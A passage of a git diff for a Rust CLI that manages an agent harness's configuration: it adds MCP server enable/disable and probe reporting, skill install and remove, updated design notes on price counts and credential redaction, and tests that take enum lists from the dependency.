Some(port) if !port.is_empty() => Some(format!("{host}:{port}")), - _ => Some(format!("{host}:{default_port}")), - }; - } - - match hostport.split_once(':') { - Some((host, port)) if !host.is_empty() && !port.is_empty() => { - Some(format!("{host}:{port}")) - } - Some(_) => None, - None => Some(format!("{hostport}:{default_port}")), - } -} - /// What the policy said about starting one server. /// /// Four variants for three effects, and the fourth is the one this module exists @@ -205,8 +149,11 @@ impl Preflight { /// (`mcp.rs:571-589`). Its own rustdoc says why: connecting happens before the /// run's first step, and a server is configuration the operator wrote rather /// than an action the agent chose, so there is nobody to ask and nothing to - /// ask about. This is the same shape [`crate::approval::refuses_git`] already - /// answers for git's spawn. + /// ask about. Git's spawn used to have this same shape and no longer does: + /// io-harness#214 closed in 0.70.0, so an asking `exec` posture now raises a + /// real approval there. The MCP stdio spawn kept the old shape deliberately, + /// and that divergence is exactly why this report cannot be written by + /// analogy to git. /// * An **http** dial goes through `NetGuard::check`, which returns `Ask` to the /// caller as a verdict — and `McpSession::connect` discards that verdict /// (`mcp.rs:336-339` ends the expression in `?;`). Nobody is asked and the @@ -229,7 +176,7 @@ impl Preflight { /// Both branches ask the same public `Policy::check` the harness asks, with the /// same act and the same target spelling, so a verdict here is the verdict there. /// -/// **The `None` from [`target`] is a refusal and not an absence.** `NetGuard::check` +/// **The `None` from [`io_harness::net::target`] is a refusal and not an absence.** `NetGuard::check` /// refuses an unparseable target outright (`net.rs:275-284`) — "an unchecked /// connection is exactly what this guard exists to prevent". Reporting it as /// "nothing to check" would print *permitted* for a server the runtime is certain to diff --git a/src/prices.rs b/src/prices.rs index 8693c1a..c47de01 100644 --- a/src/prices.rs +++ b/src/prices.rs @@ -382,8 +382,16 @@ pub fn refusal(text: &str) -> Option { /// It was handed `app.io-cli.prices.models`, io-cli's record of its own last write /// — which is absent for a hand-written `[prices]`, absent for every install that /// predates this release, and absent on the first fill. So `existing` was zero in -/// exactly the cases the guard exists for, and the guard was off. `PriceTable` has -/// no length, but the file has a row per model and can simply be counted. +/// exactly the cases the guard exists for, and the guard was off. The file has a +/// row per model and can simply be counted. +/// +/// **`PriceTable::len` exists since io-harness 0.71.0 and is deliberately not used +/// here.** It answers about the *merged* table `Config::prices` builds out of all +/// three scopes; this function answers about **one file's own text**, which is what +/// [`Catalogue::too_short`] needs — the guard is comparing a candidate write +/// against the rows it would replace in that same file. Swapping in the merged +/// count would make a short write look safe whenever another scope happened to +/// price enough models, which is the failure the guard exists to catch. pub fn priced_in(text: &str) -> usize { let Ok(document) = text.parse::() else { return 0; diff --git a/src/recall.rs b/src/recall.rs index e046a52..357115b 100644 --- a/src/recall.rs +++ b/src/recall.rs @@ -243,6 +243,26 @@ pub enum Happened { } impl Happened { + /// What to call it in a line of output. + /// + /// Here rather than at the surface that draws it, which is the rule + /// [`Scope::label`] and [`kind_label`] already follow in this module: the word + /// is part of what a trace row *means*, and a surface that spelled its own + /// would be free to call a refusal a failure. It is a word and not a sentence + /// — nothing in this module touches a terminal, and io-harness's own + /// [`Noted::detail`] is the sentence. + /// + /// **`refused` and not `failed`.** The write did not fail: io-harness declined + /// it because an operator had pinned the entry, which is the pin working. A + /// reader told it failed goes looking for a broken store. + pub fn label(self) -> &'static str { + match self { + Happened::Evicted => "evicted", + Happened::Refused => "refused", + Happened::Recalled => "recalled", + } + } + /// The kind string io-harness stores, `src/state.rs:2982-3009`. fn of(kind: &str) -> Option { match kind { @@ -318,6 +338,16 @@ impl View { /// no trace rather than a view of the newest run: guessing which run an operator /// meant would put somebody else's evictions in front of them. /// +/// **`None` is not the answer for a session, and through 0.29.0 it was the only +/// one this crate ever passed.** The whole trace half of this module — [`trace`], +/// [`Happened`], [`Noted`] — was therefore reachable from the test suite and from +/// nowhere an operator could stand, so the evictions, refusals and recalls it +/// reads had never once been drawn. `/memory` names the session's **own last +/// turn** (`src/main.rs`'s `last_run`), which is not a guess: it is the run the +/// operator was watching a moment ago, and the one whose evictions are about +/// their work. A session that has not run a turn yet has no run to name and +/// passes `None`, which is the honest empty rather than somebody else's history. +/// /// Every row is a read. This function cannot write to the store and cannot reach /// the filesystem except through [`workspace_key`], which only resolves a path. pub fn view( @@ -602,7 +632,15 @@ pub fn forget(store: &Store, root: &Path, scope: Scope, key: &str) -> Result Result, Error> { Ok(rewind_run(&Workspace::new(root), store, restore)?.memory_restored) } diff --git a/src/reload.rs b/src/reload.rs index ba07b1f..4f22a20 100644 --- a/src/reload.rs +++ b/src/reload.rs @@ -2,7 +2,7 @@ //! //! **io-harness takes the instruction files as a snapshot and never takes //! another.** `read_instructions` runs inside `Config::discover` -//! (`io-harness-0.69.0/src/config.rs:1872-1898`), composes each named file into a +//! (`io-harness-0.71.0/src/config.rs:2111`), composes each named file into a //! constraint, and stores the result in a private `Config.instructions` field. //! There is no `Config::reload`, and `Config::with_profile` clones the field //! rather than going back to disk — so a `Config` is exactly as old as the call diff --git a/src/reviewer.rs b/src/reviewer.rs index 9fd43f9..90d5115 100644 --- a/src/reviewer.rs +++ b/src/reviewer.rs @@ -102,11 +102,16 @@ pub fn build(spec: &ProviderSpec, model: &str) -> Result, Stri // seen cannot be built into a reviewer, and refusing where the operator is // still looking at what they typed is the whole point of refusing at all. // - // **The spec is never formatted into the message.** Every variant holds - // `api_key: Option` verbatim and `ProviderSpec` derives `Debug`, - // so `{other:?}` would put the operator's credential into a refusal that - // this crate then records into the scrollback. That is the same trap - // `Printable`'s hand-written `Debug` exists to avoid two files away. + // **The spec is never formatted into the message**, and it stays that way + // now that it no longer has to be. Every variant holds `api_key: + // Option` verbatim, and until io-harness 0.71.0 `ProviderSpec` + // derived `Debug`, so `{other:?}` would have put the operator's credential + // into a refusal this crate then records into the scrollback. 0.71.0 + // replaced that derive with a hand-written `Debug` that renders a set key + // as ``, so the trap is closed upstream — but a refusal naming + // the provider kind is the better sentence regardless, and not formatting + // a secret-bearing type is not a habit worth relaxing because one version + // of one dependency made it safe. _ => Err( "this release does not know how to review with that kind of provider yet".to_string(), ), diff --git a/src/servers.rs b/src/servers.rs index 94ee215..e609b0e 100644 --- a/src/servers.rs +++ b/src/servers.rs @@ -36,32 +36,57 @@ //! bound on what is offered, and the two numbers are drawn as two numbers: one //! replacing the other would answer a question nobody asked. //! -//! # Two verbs this panel does not offer +//! # Disable, and why the write that was refused in 0.29.0 is correct in 0.30.0 //! -//! **Disable — the verb, but no longer the fact.** Through io-harness 0.69.0 this -//! paragraph said `McpServer` was `id`, `transport` and `timeout_secs`, that there -//! was no key for it, and that an `enabled = false` invented here would be -//! accepted by the file and ignored by the harness so the server would start -//! anyway. **io-harness 0.70.0 falsified every clause of that**: `enabled` is a -//! real public field (`mcp.rs:261`) defaulting to true, and it is honoured at the -//! earliest possible point — a disabled server is never spawned, never dialled and -//! never even checked against the policy (`mcp.rs:356`), and `probe_mcp` answers -//! `McpProbe::Disabled` (`mcp.rs:747`). +//! Through io-harness 0.69.0 this paragraph said `McpServer` was `id`, `transport` +//! and `timeout_secs`, that there was no key for it, and that an `enabled = false` +//! invented here would be accepted by the file and ignored by the harness so the +//! server would start anyway. **io-harness 0.70.0 falsified every clause of that**: +//! `enabled` is a real public field (`mcp.rs:261`) defaulting to true, and it is +//! honoured at the earliest possible point — a disabled server is never spawned, +//! never dialled and never even checked against the policy (`mcp.rs:356`), and +//! [`io_harness::probe_mcp`] answers `McpProbe::Disabled` (`mcp.rs:892`). //! -//! So the *state* is read and shown from 0.29.0, on [`Server::enabled`], for the -//! reason [`crate::pluginview`] was given the same treatment in the same release: -//! a capability missing from every listing reads exactly like one nobody ever +//! So 0.29.0 read and drew the *state*, on [`Server::enabled`], for the reason +//! [`crate::pluginview`] was given the same treatment in the same release: a +//! capability missing from every listing reads exactly like one nobody ever //! declared, and an operator whose turns have quietly lost their tools has nowhere -//! to look. **The keystroke that writes it is still not here** — that is 0.30.0's -//! verb, along with the plugin one and the probe — and nothing in this crate puts -//! `enabled` into an `[[mcp]]` table. What reaches this state is a file somebody -//! hand-edited or a repository they cloned, which is exactly the case a listing -//! exists to explain. +//! to look. It shipped **no writer**, and `tests/servers.rs` asserted the refusal — +//! not because the key was unwritable but because half a verb is worse than none: +//! a surface that can switch a server off has to be able to switch it back on, and +//! neither door could. +//! +//! **0.30.0 adds both halves, so the refusal has nothing left to protect.** +//! `enabled` is in [`KEYS`], [`switch`] is the edit both doors build, and what the +//! `KEYS` check was actually guarding is untouched: it still refuses every key +//! [`McpServer`] does not carry. The list gained **one name**, and that is the only +//! safe way to widen it — a check relaxed to accept anything would hand the +//! exemption below a misspelling to write, and there is no later failure to catch +//! one. +//! +//! **What writing it costs an older binary is not what the plugin key costs, and +//! the two sentences are deliberately different.** See [`OLDER_BINARY`] beside +//! [`crate::pluginview::OLDER_BINARY`]: a 0.69.0 binary *refuses the whole file* +//! over `enabled` in a `[[plugin]]`, and *silently ignores it* in an `[[mcp]]` — +//! running a server the operator switched off. One is loud and total, the other is +//! quiet and exactly the failure mode this module exists to close. +//! +//! # One verb this panel still does not offer //! //! **Reconnect**, because there is nothing to cycle: servers are attached per //! turn through `TaskContract::with_mcp`. What an operator means by it is "pick //! up the edit I just made", and that is what the next turn does. //! +//! # A probe is not the observation beside it +//! +//! [`probe`] goes and looks: it spawns or dials the server, completes an MCP +//! handshake and shuts it down again. [`Observed`] does the opposite — it folds +//! events a *run* emitted and asserts nothing that did not happen on its own. So a +//! probe writes nothing into [`Observed`] and takes no `&mut` to one, and +//! [`Reached::NotYet`] and `McpProbe::Unreachable` are rendered in words that +//! cannot be mistaken for each other. "Nobody has called it yet" and "io-cli called +//! it and got nothing" are different facts, and only the second is a fault. +//! //! # The write half, and the one number it must not be handed //! //! [`add`], [`edit`] and [`remove`] are the three verbs, and two of them address @@ -90,7 +115,7 @@ use std::collections::{BTreeMap, BTreeSet}; use std::path::Path; use io_harness::config::{Config, Scope}; -use io_harness::{EventKind, McpServer, McpTransport}; +use io_harness::{EventKind, McpProbe, McpServer, McpTransport, Policy}; use crate::configure::Decided; @@ -112,6 +137,11 @@ pub enum Reached { /// **Not a failure.** It is the state every server is in before the first /// turn runs, and the state a server stays in for a whole session that never /// needed it. + /// + /// **Not `McpProbe::Unreachable` either**, and [`probed`] words the two so + /// that neither can be read as the other: this is nobody having called the + /// server, and that is io-cli having called it and got nothing back. A probe + /// never writes this state and this state never renders as a probe's. NotYet, } @@ -441,6 +471,14 @@ pub fn declared_in(root: &Path, id: &str) -> Option { /// `[[mcp]]` is not held to `deny_unknown_fields`, so `comand = "…"` is written, /// accepted, and ignored. The one write in this crate whose failure says nothing /// at all is the one worth spending a `const` on. +/// +/// **0.30.0 added one name to it and did not relax the check.** `enabled` is +/// io-harness 0.70.0's own field and 0.29.0 refused it only because the release +/// shipped no way to switch a server back on; both halves exist now, so the name +/// is listed. Widening [`edit`] to accept *any* key instead would be the same +/// change to look at and the opposite change to live with: the exemption above +/// means a misspelling would then be written, parsed, reported as landed, and +/// ignored by every turn after it. pub const KEYS: &[&str] = &[ "id", "transport", @@ -452,8 +490,49 @@ pub const KEYS: &[&str] = &[ "url", "headers", "timeout_secs", + // Whether io-harness starts it at all. io-harness 0.70.0's, honoured before + // the process or the socket exists. + "enabled", ]; +/// What writing an `enabled` key into an `[[mcp]]` entry costs an older binary. +/// +/// **The mirror image of [`crate::pluginview::OLDER_BINARY`], and the dangerous +/// half of the pair.** `enabled` on a `[[plugin]]` makes an io-cli built against +/// io-harness 0.69.0 refuse the whole configuration file: loud, total, and +/// impossible to miss. `[[mcp]]` is one of the two sections that binary exempts +/// from `deny_unknown_fields`, so the same key there is **read, accepted and +/// ignored** — and the server the operator switched off starts and runs, on that +/// machine, with nothing on any surface saying so. +/// +/// So the two sentences are two constants. One string used for both would be +/// telling an operator on the quiet path that they will notice. +pub const OLDER_BINARY: &str = + "this writes an `enabled` key into an `[[mcp]]` entry, which is io-harness 0.70.0's: an io-cli \ + built against 0.69.0 does not refuse it — it ignores the key and starts the server anyway, \ + with nothing said"; + +/// The edit that switches the server at `at` on or off. +/// +/// **One key and no other byte of the file**, for the reason +/// [`crate::pluginview::enable`] gives about the sibling section: +/// [`crate::edit::Edit::set`] replaces the value's own span, so the transport, the +/// arguments, the environment, every sibling entry and every comment come through +/// untouched. An operator who diffs their `io.toml` afterwards sees one word +/// change. **The entry is never removed** — a server switched off is one the file +/// still declares, which is the whole difference between this verb and +/// [`remove`]. +/// +/// The one write both doors build, so `io mcp disable ` and the `/mcp` +/// keystroke cannot produce different bytes. Says [`OLDER_BINARY`] to whoever is +/// about to be shown a sentence about it. +pub fn switch(at: &At, on: bool) -> crate::edit::Edit { + // `true`/`false` bare rather than through `quoted`: `enabled` is a TOML + // boolean, and `enabled = "false"` is a string io-harness refuses on + // `configure::write`'s round trip. + crate::edit::Edit::set(format!("mcp[{}].enabled", at.index), on.to_string()) +} + /// The edit that adds a whole server. /// /// A whole `[[mcp]]` entry, because an array of tables grows by gaining a block @@ -532,6 +611,135 @@ pub fn remove(at: &At) -> crate::edit::Edit { crate::edit::Edit::remove(format!("mcp[{}]", at.index)) } +/// Try one configured server for real, and report what came back. +/// +/// **[`crate::preflight`] asks the policy; this one goes and looks.** The preflight +/// is a pure question put to [`Policy`] and answers before anything exists, which +/// is right at the moment a server is *added*. It cannot tell an operator whether +/// the command is on this machine's path or whether the far end speaks MCP, and +/// those are the two things they are actually asking when a server they configured +/// contributes nothing. [`io_harness::probe_mcp`] answers all of it: it makes the +/// same policy check the run makes, in the same order, **before** spawning or +/// dialling; it really does spawn or dial and complete the handshake; it shuts the +/// server down on every path that started one; and it is bounded by the server's +/// own `timeout_secs`. +/// +/// It returns no `Result` of its own — every failure is a variant of +/// [`McpProbe`] — so the only error here is the one io-harness cannot have an +/// opinion about: an id no configuration file in force declares. +/// +/// **Nothing is folded into [`Observed`].** A probe is io-cli reaching out on its +/// own, and `Observed` is what a *run* was seen to do; a probe that wrote into it +/// would put a fact no turn produced under a heading that says a turn did. That is +/// enforced by this signature taking no `&mut Observed` rather than by a rule +/// somebody has to remember. +pub async fn probe(config: &Config, id: &str, policy: &Policy) -> Result { + let server = config + .mcp_servers() + .iter() + .find(|server| server.id == id) + .ok_or_else(|| { + format!( + "no configuration file in force declares an MCP server called `{id}`, so there is \ + nothing to probe; `mcp list` shows the ones that are configured" + ) + })?; + Ok(io_harness::probe_mcp(server, policy).await) +} + +/// What [`probed`] says about a state this build of io-cli has no arm for. +/// +/// **[`McpProbe`] is `#[non_exhaustive]` and that is a promise, not a formality**: +/// io-harness's own rustdoc names the case it expects to add — a server that +/// answers but speaks a protocol version the crate will not talk. A `_` arm that +/// re-used one of the five known sentences would report that as something it is +/// not, and the operator would go and fix the wrong thing. So the unknown state is +/// spelled as unknown, and it names the repair that actually applies. +/// +/// A `const` so a test can assert that no known variant renders it, and that it +/// renders no known variant's words. +pub const UNMODELLED: &str = + "a newer io-harness reported an outcome this build of io-cli does not model, so there is \ + nothing here that can be said about it — upgrade io-cli rather than reading it as one of \ + the states this build knows"; + +/// The sentence a probe comes to, for the operator who asked for it. +/// +/// Six outcomes and six sentences, because the whole value of [`McpProbe`] is that +/// they are different answers with different repairs: a refusal needs a policy +/// rule, a failed spawn needs the command fixed, a silent host needs somebody to +/// look at the host, and a switched-off server needs nothing at all. "It did not +/// work" is the report that costs a turn to act on. +/// +/// **`Unreachable` is worded so it cannot be read as [`Reached::NotYet`].** That +/// state means no turn has called the server yet and is explicitly *not* a failure; +/// this one means io-cli went and looked and got nothing. See the module docs. +pub fn probed(id: &str, probe: &McpProbe) -> String { + match probe { + // Nothing was spawned, nothing was dialled, and the policy was not even + // consulted — the same thing a run does with it, which is why this is not + // reported as a failure to start. + McpProbe::Disabled => format!( + "`{id}` is {DISABLED} in the configuration, so nothing was started and nothing was \ + asked of the policy", + ), + // All four fields, because they are two different repairs: `act` and + // `target` say what to allow, `rule` and `layer` say what denied it. + McpProbe::Refused { + act, + target, + rule, + layer, + } => format!( + "`{id}` was refused before it was started: the policy refuses {act} on `{target}`, by \ + {}", + decided_by(rule.as_deref(), layer.as_deref()), + ), + // The policy allowed it and the program is not there. The fix is the + // command, and the server was never reached at all. + McpProbe::NotStarted { reason } => format!( + "`{id}` did not start: {reason}. The policy allowed it, so what is wrong is the \ + command", + ), + // It started, or the URL was allowed, and the far end gave nothing back. + McpProbe::Unreachable { reason } => format!( + "io-cli called `{id}` and it did not answer: {reason}. The command and the policy are \ + both fine; the far end is not", + ), + McpProbe::TimedOut { secs } => format!( + "io-cli called `{id}` and it stayed silent for {secs}s, which is its own \ + `timeout_secs`", + ), + // The namespaced names, because those are what the model would see and + // what the policy would decide on — the bare ones the server sent appear + // nowhere a rule can name them. + McpProbe::Answered { tools } if tools.is_empty() => { + format!("`{id}` answered and offers no tools at all") + } + McpProbe::Answered { tools } => format!( + "`{id}` answered and offers {} tools: {}", + tools.len(), + tools.join(", "), + ), + // **Required, and it must not name a state this build knows.** See + // [`UNMODELLED`]. + _ => format!("`{id}`: {UNMODELLED}"), + } +} + +/// Who decided a refusal: the rule and its layer, or a default with no rule. +/// +/// The same shape [`crate::preflight`] prints for the question it asks earlier, and +/// spelled again here rather than shared because that one is private to a module +/// whose input is a `Preflight` and this one's is io-harness's own two `Option`s. +fn decided_by(rule: Option<&str>, layer: Option<&str>) -> String { + match (rule, layer) { + (Some(rule), Some(layer)) => format!("the rule `{rule}` in the `{layer}` layer"), + (Some(rule), None) => format!("the rule `{rule}`"), + (None, _) => "the policy's own default for that act (no rule matched)".to_string(), + } +} + /// A TOML basic string, escaped. /// /// Here rather than through `toml::to_string`, which would need a document to diff --git a/src/settings.rs b/src/settings.rs index e015633..d89e4b7 100644 --- a/src/settings.rs +++ b/src/settings.rs @@ -224,11 +224,17 @@ pub struct PriceSettings { /// How many models the last read priced. /// /// **Bookkeeping io-harness does not model, which is what this section is - /// for.** `PriceTable` has no length and no iterator — it answers `price(model)` - /// and nothing else — so io-cli cannot count what it holds by asking it. The - /// count is needed twice: to say on `/cost` how many models the rates cover, - /// and to refuse a refetch that comes back far shorter than what it would - /// replace, which is the one failure in this area that loses money quietly. + /// for.** The count is needed twice: to say on `/cost` how many models the + /// rates cover, and to refuse a refetch that comes back far shorter than what + /// it would replace, which is the one failure in this area that loses money + /// quietly. + /// + /// **io-harness 0.71.0 gave `PriceTable` `models()`, `len()` and `is_empty()` + /// (io-harness#220), and this field survives them.** Those answer what the + /// merged table holds *now*; this records what one particular read priced *at + /// the time it was written*, which is the only thing a later refetch can be + /// compared against. A live count cannot play that role — by the time the + /// comparison is made it is a count of the very table being replaced. #[serde(default, skip_serializing_if = "Option::is_none")] pub models: Option, } diff --git a/src/skills.rs b/src/skills.rs index 81e3b91..ca2bad0 100644 --- a/src/skills.rs +++ b/src/skills.rs @@ -250,7 +250,7 @@ pub fn wrote(home: &Path, name: &str, path: &Path) -> bool { /// case — `disabled/` is created by the first disable and never before. Resolved /// through [`crate::skillview::describe`] rather than from the file stem, because /// the stem and the name are exactly the two things this release keeps apart. -fn disabled_names(disabled: &Path) -> Vec { +pub(crate) fn disabled_names(disabled: &Path) -> Vec { let Ok(entries) = std::fs::read_dir(disabled) else { return Vec::new(); }; diff --git a/src/skillview.rs b/src/skillview.rs index 43c853b..74ca820 100644 --- a/src/skillview.rs +++ b/src/skillview.rs @@ -1,5 +1,6 @@ //! `/skills` — what each skill is for, whose it is, whether it is on, and the -//! file it lives in; with the two levers that turn one off and back on. +//! file it lives in; with the levers that turn one off, turn it back on, put one +//! there and take one away. //! //! The palette has listed skills since 0.10.0 and that is a launcher: it puts a //! name into the composer. This is the management surface, and the four facts it @@ -86,6 +87,29 @@ //! and cannot put back. Both levers refuse, and they refuse *inside themselves* //! rather than at the call site; see [`disable`]. //! +//! # A skill arrives and leaves, and the two acts are not the two levers +//! +//! Until 0.30.0 the only thing in this crate that had ever written a skill file +//! was [`crate::import`], driven by a foreign tool the crate happened to detect, +//! so an operator with a skill of their own had no door at all — and nothing +//! anywhere removed one. [`install`] and [`remove`] are that door, and they are +//! deliberately a **copy** and an **unlink** rather than two more renames: +//! +//! * [`install`] copies, because the source is a file the operator still owns — +//! a repository, a download, a directory of their own — and a lever that +//! emptied it would be `/skills` deleting something outside the home in order +//! to put something inside it. It records nothing in +//! [`crate::skills::MANIFEST`], which is what makes the installed row read +//! `yours`: the manifest answers *are these the bytes io-cli last wrote*, and +//! these are not. +//! * [`remove`] unlinks, because [`disable`] already is the reversible act. A +//! removal implemented as a rename would be a lever that promised deletion and +//! delivered a hidden copy, and the two would then be one verb under two names +//! on the surface whose whole subject is what is where. +//! +//! Both refuse a bundle's file, from inside themselves, for [`disable`]'s reason +//! and by [`disable`]'s guard. +//! //! Neither lever rewrites a byte of the file and neither touches `io.toml`. There //! is no `enabled` concept in the harness and no key for one in the configuration, //! so a flag would be io-cli's alone and a second list disagreeing with the @@ -684,6 +708,156 @@ pub fn enable(path: &Path, bundles: &[(String, PathBuf)]) -> Result Result { + if !source.is_file() { + return Err(format!( + "{} is not a file; a skill is one markdown file with `name:` and \ + `description:` in its frontmatter", + source.display() + )); + } + let Some(file_name) = source.file_name() else { + return Err(format!("{} has no file name", source.display())); + }; + + let dir = skills::dir(home); + // Made here for [`disable`]'s reason: the surface that first moves a file in + // is what creates it, `0700` like everything else under the home. + if let Err(error) = crate::home::create(&dir) { + return Err(format!("could not create {}: {error}", dir.display())); + } + let destination = dir.join(file_name); + if destination.exists() { + return Err(format!( + "{} is already there; remove it first, or rename the file you are \ + installing", + destination.display() + )); + } + + // The question the run will ask, asked before the file is in a position to + // make the run fail. + let (name, _) = describe(source); + + // **A directory that will not discover is a refusal, never a skipped check.** + // `discover` errors on a set above the ceiling, on two files already sharing a + // name, and on an unreadable entry — every one of those is a home that is + // already broken, and installing into it without a name check deepens exactly + // the state that kills every turn of the next session. It cannot error merely + // for being empty: `home::create` above guarantees the directory exists, and + // an existing empty directory discovers to an empty set. + let found = io_harness::Skills::discover(&dir).map_err(|error| { + format!( + "{} does not discover, so io-cli cannot tell whether `{name}` is \ + already claimed, and will not add to a directory that is already \ + failing: {error}", + dir.display(), + ) + })?; + if found.get(&name).is_some() { + return Err(format!( + "a skill in {} already answers to `{name}`, which is the name in \ + {}'s frontmatter — two files answering to one name make every \ + turn of the next session fail before its first completion", + dir.display(), + source.display(), + )); + } + + // **And the disabled set, which discovery cannot see by design.** A skill in + // `disabled/` is invisible to `Skills::discover` — that absence *is* the + // off-switch — so a name check that asked only the harness would let this + // install claim a name a parked skill holds. The operator would then never be + // able to turn that one back on: [`enable`] refuses a name already claimed, + // and it would refuse forever. `crate::skills::install` has consulted the + // disabled set for this reason since 0.21.0 and this must agree with it. + if crate::skills::disabled_names(&dir.join(skills::DISABLED)) + .iter() + .any(|held| held == &name) + { + return Err(format!( + "a skill switched off in {}/{} already answers to `{name}`; installing \ + this would mean that one could never be turned back on", + dir.display(), + skills::DISABLED, + )); + } + + // **Counted before the write, because `discover` rejects the whole set above + // the ceiling rather than truncating it** — so one file too many costs the + // operator every skill they had, and `/skills` could not be used to undo it, + // because its own list comes from the call that would then be failing. + if found.len() >= io_harness::skills::MAX_SKILLS { + return Err(format!( + "{} already holds {} skills, which is io-harness's ceiling; one more \ + would make the whole directory fail to discover and take every skill \ + in it out of the next session", + dir.display(), + io_harness::skills::MAX_SKILLS, + )); + } + + std::fs::copy(source, &destination) + .map_err(|error| format!("could not copy into {}: {error}", destination.display()))?; + Ok(destination) +} + +/// Delete a skill's file. Answers with the path that is now gone. +/// +/// **An unlink, and that is the whole difference from [`disable`].** Disable is +/// the reversible act: it renames the file into `disabled/` and [`enable`] brings +/// it back. A removal implemented as a second rename would be a verb that promised +/// deletion and delivered a hidden copy — and the two would then be one act under +/// two names, on the surface whose entire subject is what is where. +/// +/// It refuses a bundle's file from inside itself, for [`disable`]'s reason and by +/// [`disable`]'s guard: a bundle's skills are not io-cli's to delete, and the +/// refusal lives here rather than at the call site so a second caller cannot walk +/// past it. +/// +/// The folder form is refused too, for [`disable`]'s reason: `/SKILL.md` is +/// one skill spread over a directory, and unlinking the file alone would leave the +/// directory behind holding nothing that discovery can see. +pub fn remove(path: &Path, bundles: &[(String, PathBuf)]) -> Result { + if let Some(refusal) = refuse_bundle(path, bundles) { + return Err(refusal); + } + if is_bundle(path) { + return Err(format!( + "{} is a skill folder rather than a single file; delete the folder by \ + hand to take it away", + path.display() + )); + } + std::fs::remove_file(path) + .map_err(|error| format!("could not remove {}: {error}", path.display()))?; + Ok(path.to_path_buf()) +} + /// The sentence for a path that lives inside a `[[plugin]]` bundle, if it does. /// /// **Containment, not equality.** io-harness walks a skills directory one level diff --git a/tests/configure.rs b/tests/configure.rs index 46f5b5c..b8b1909 100644 --- a/tests/configure.rs +++ b/tests/configure.rs @@ -4,6 +4,7 @@ use std::sync::{Mutex, MutexGuard}; use io_cli::configure::{self, Decided}; use io_harness::config::{Config, Scope}; +use io_harness::pricing::{Price, PriceTier}; /// `Config::discover` reads `IO_CONFIG` at call time, so two tests setting it at /// once would each see the other's file. Serialised here rather than diagnosed @@ -52,6 +53,17 @@ impl Scopes { std::env::remove_var("IO_CONFIG"); config } + + /// `configure::priced_models` over this fixture's three scopes. + /// + /// It takes the `Config` this fixture already builds rather than a root, + /// because `priced_models` takes one — deliberately. A version that discovered + /// its own would re-resolve every `${cmd:}` in the operator's configuration + /// each time the model picker opened, which is a credential command executed + /// to draw a menu. + fn priced_models(&self) -> Vec { + configure::priced_models(&self.config()) + } } #[test] @@ -652,20 +664,35 @@ fn f1_only_the_expected_exit_status_is_signed() { // F2 — the enum kinds agree with the dependency rather than with a literal. -/// The effects are the dependency's three, and each one round-trips through -/// io-harness's own deserializer. +/// F18 — the effects are `Effect::ALL` round-tripped through `Effect::as_str`, +/// and every spelling is one io-harness's own deserializer accepts. +/// +/// **Three assertions, and each one fails on a different change.** +/// +/// The first is the criterion stated literally: the menu *is* the dependency's +/// enumeration mapped through the dependency's speller. A list io-cli went back to +/// writing by hand fails it the moment the two disagree, which is the whole point +/// of no longer keeping a copy. /// -/// The census itself is a build break — `Effect` is not `#[non_exhaustive]`, so -/// `configure::effects`'s array and match both fail on a variant change. What this -/// adds is the half the build cannot catch: the *spellings* are serde's -/// `rename_all`, io-harness exposes no `as_str` for `Effect`, and a rename would -/// leave io-cli compiling and writing a word the schema rejects. +/// The second pins the words an operator, `docs/config.example.toml` and every +/// already-written `io.toml` actually use. It is the half the old hand-written +/// census could not catch at all: a *rename* upstream now changes `as_str`, so the +/// menu changes with it, and this is where that is noticed rather than in someone's +/// config that stopped parsing. /// -/// Sabotage: add a fourth effect to io-cli's list. Under it F2 fails, because the -/// dependency knows three. +/// The third is the sabotage the criterion names — hand-write a fourth effect +/// string and the round trip through `Config::from_toml` refuses it. #[test] fn f2_the_effects_are_the_dependency_s_own() { let effects = configure::effects(); + assert_eq!( + effects, + io_harness::Effect::ALL + .iter() + .map(|effect| effect.as_str().to_string()) + .collect::>(), + "the menu must be the dependency's enumeration, not io-cli's copy of it" + ); assert_eq!(effects, vec!["allow", "ask", "deny"]); for word in &effects { let text = format!("[policy]\ndefaults = {{ read = \"{word}\" }}\n"); @@ -676,16 +703,29 @@ fn f2_the_effects_are_the_dependency_s_own() { } } -/// The exec modes are spelled by io-harness, not by io-cli. +/// F18 — the exec modes are `ExecMode::ALL`, spelled by `ExecMode::as_str`. /// -/// Weaker than the effects' guarantee and the difference is the dependency's: -/// `ExecMode` **is** `#[non_exhaustive]` (`sandbox.rs:379`), so a variant added -/// later falls into a required wildcard and cannot break this build. What is -/// assertable is that every spelling comes from `ExecMode::as_str` and that -/// io-harness accepts each one. +/// **The variant list is no longer io-cli's, and that is what changed.** Until +/// 0.30.0 the list here was written out by hand because a `#[non_exhaustive]` enum +/// cannot be enumerated from outside the crate that defines it: a mode io-harness +/// added would have fallen into a required wildcard and quietly gone missing from +/// the menu, which is the one failure nobody can see. `ExecMode::ALL` is kept +/// complete by an exhaustive `match` inside io-harness, so the first assertion +/// below is now a real guarantee rather than a hope. +/// +/// The literal that follows pins the words in force, so a rename is caught here; +/// the scope loop then proves io-harness accepts every one of them. #[test] fn f2_the_exec_modes_are_spelled_by_the_dependency() { let modes = configure::exec_modes(); + assert_eq!( + modes, + io_harness::ExecMode::ALL + .iter() + .map(|mode| mode.as_str().to_string()) + .collect::>(), + "the menu must be the dependency's enumeration, not io-cli's copy of it" + ); assert_eq!(modes, vec!["read-only", "workspace-write", "full-access"]); // **In the user scope, because `Config::from_toml` parses as the PROJECT // scope and `full-access` is refused there.** io-harness's `PROJECT_WIDENING` @@ -706,12 +746,8 @@ fn f2_the_exec_modes_are_spelled_by_the_dependency() { "io-harness refuses the mode io-cli offers: {mode}" ); } - // Every spelling is the variant's own, never io-cli's. - for mode in [ - io_harness::ExecMode::ReadOnly, - io_harness::ExecMode::WorkspaceWrite, - io_harness::ExecMode::FullAccess, - ] { + // Every variant has a row, and its spelling is the variant's own. + for mode in io_harness::ExecMode::ALL { assert!( modes.contains(&mode.as_str().to_string()), "{} is a variant with no row", @@ -818,11 +854,7 @@ fn f2_a_widening_value_is_legal_in_one_scope_and_refused_in_another() { /// quietly missing an option nobody can detect. #[test] fn f2_a_known_mode_is_labelled_by_its_own_name() { - for mode in [ - io_harness::ExecMode::ReadOnly, - io_harness::ExecMode::WorkspaceWrite, - io_harness::ExecMode::FullAccess, - ] { + for mode in io_harness::ExecMode::ALL { assert_eq!(configure::exec_mode_label(mode), mode.as_str()); } } @@ -898,14 +930,18 @@ fn f4_the_ladder_is_ordered_from_the_value_in_force() { /// A key with no value in any file ladders from 1. /// -/// The audit's finding, not a corner case: there is no per-key io-harness default -/// to anchor on for *any* number key, so this is the ordinary 